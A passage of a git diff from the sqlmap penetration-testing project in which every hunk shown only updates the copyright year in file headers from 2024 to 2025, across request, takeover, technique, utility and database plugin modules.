@@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 8477802eca3..4734e0d62e3 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/comparison.py b/lib/request/comparison.py index b62b899b26e..0b78a1efdfa 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/connect.py b/lib/request/connect.py index 0651ded71ef..de91c564e0a 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/direct.py b/lib/request/direct.py index 1c418da70bc..eee1f6c198d 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/dns.py b/lib/request/dns.py index 70db51f9076..fe19d2b0ec8 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index c3af58f6025..c4429d62f19 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/inject.py b/lib/request/inject.py index afaad5af661..99769664ffe 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index f1b97b41833..3e024e9c4cb 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 712e8aaeafa..4a47736fef4 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index eebebc10f39..d68b5e944c8 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 726106b56c8..65b717b6f47 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/templates.py b/lib/request/templates.py index 05fecc2b86b..4efd9f3ed5e 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 309b5fc46ef..c31acfe13fe 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 14e54fbb98e..46ab74b45e4 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index f3028028d9a..d43317a5ee7 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 650ce100a1f..3798c96f2f8 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 40da3988087..dc535dc6f3c 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 3c7a819968d..99921388478 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 90cf3c9e6a8..79744eadc8e 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 748bbbf9972..bd089e40f37 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 1a8fe6a15ca..08c351f25af 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 4592d735a4e..4ca1f888910 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 70892924ede..e6c38915867 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index c62aea95167..fe58d9b0b59 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index f1b8ca74d01..d36b324d084 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index b3d4f38fa73..4105013a483 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 2db4058fa47..9849dfdfffa 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 43b24a2cc6b..d3b5777bed7 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 4928c101a08..108281f0110 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 76739b3fa9c..a19fb738981 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/har.py b/lib/utils/har.py index bc9e881c35e..57e5db5e647 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 2a4514de433..4109dfc52c6 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 439523699da..f7c523f80ef 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py index aba688d077d..5acb96a851d 100644 --- a/lib/utils/httpd.py +++ b/lib/utils/httpd.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index ca7e37e776f..0c59d7af71b 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 95f756846dc..4f2c26a4f8f 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 9886fb06064..d85b7e0413d 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index b1da5db8db2..67dc7e928ee 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/search.py b/lib/utils/search.py index dd0b04072f2..46710434b29 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 586eb7f6396..3c58d36e3ee 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index c25adbd57f2..49b3608145c 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 647cfdb4ccc..10474745a57 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index c6d56ee987e..8c0416165e4 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/__init__.py b/plugins/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 972c6d2c2dd..6ae5795aac9 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index a8999b476b8..1344843f483 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index e4ca38f94e5..016c5edd2f4 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 12d2357e49a..855e90e931e 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 2ab63949af4..e0a03d6cf76 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index ff828d9c6e7..ec72cbb43e2 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index 76c00f2f4c9..f4b1b0181e0 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py index e8389349a66..3f3b5a75e5d 100644 --- a/plugins/dbms/altibase/__init__.py +++ b/plugins/dbms/altibase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py index baa543f3337..0c3b1bcc46c 100644 --- a/plugins/dbms/altibase/connector.py +++ b/plugins/dbms/altibase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py index fb08a399132..3f03140f2df 100644 --- a/plugins/dbms/altibase/enumeration.py +++ b/plugins/dbms/altibase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py index 7f3df980642..40cc82d477f 100644 --- a/plugins/dbms/altibase/filesystem.py +++ b/plugins/dbms/altibase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py index b83e9da6947..f250c9c5698 100644 --- a/plugins/dbms/altibase/fingerprint.py +++ b/plugins/dbms/altibase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py index b995549f465..0cc46217cbd 100644 --- a/plugins/dbms/altibase/syntax.py +++ b/plugins/dbms/altibase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py index 24fb4ed2e6c..30ba6765889 100644 --- a/plugins/dbms/altibase/takeover.py +++ b/plugins/dbms/altibase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py index a34b3c2ea54..a9cfb6269c8 100644 --- a/plugins/dbms/cache/__init__.py +++ b/plugins/dbms/cache/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py index 92450e0132b..0f59e36ddaf 100644 --- a/plugins/dbms/cache/connector.py +++ b/plugins/dbms/cache/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py index ceacd1a0dd8..c04235230a7 100644 --- a/plugins/dbms/cache/enumeration.py +++ b/plugins/dbms/cache/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py index 7f3df980642..40cc82d477f 100644 --- a/plugins/dbms/cache/filesystem.py +++ b/plugins/dbms/cache/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py index 15dee72bdca..d056122b87d 100644 --- a/plugins/dbms/cache/fingerprint.py +++ b/plugins/dbms/cache/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py index 768e5836d87..d1183d84923 100644 --- a/plugins/dbms/cache/syntax.py +++ b/plugins/dbms/cache/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py index 1f01bee8576..bbcc683a1d4 100644 --- a/plugins/dbms/cache/takeover.py +++ 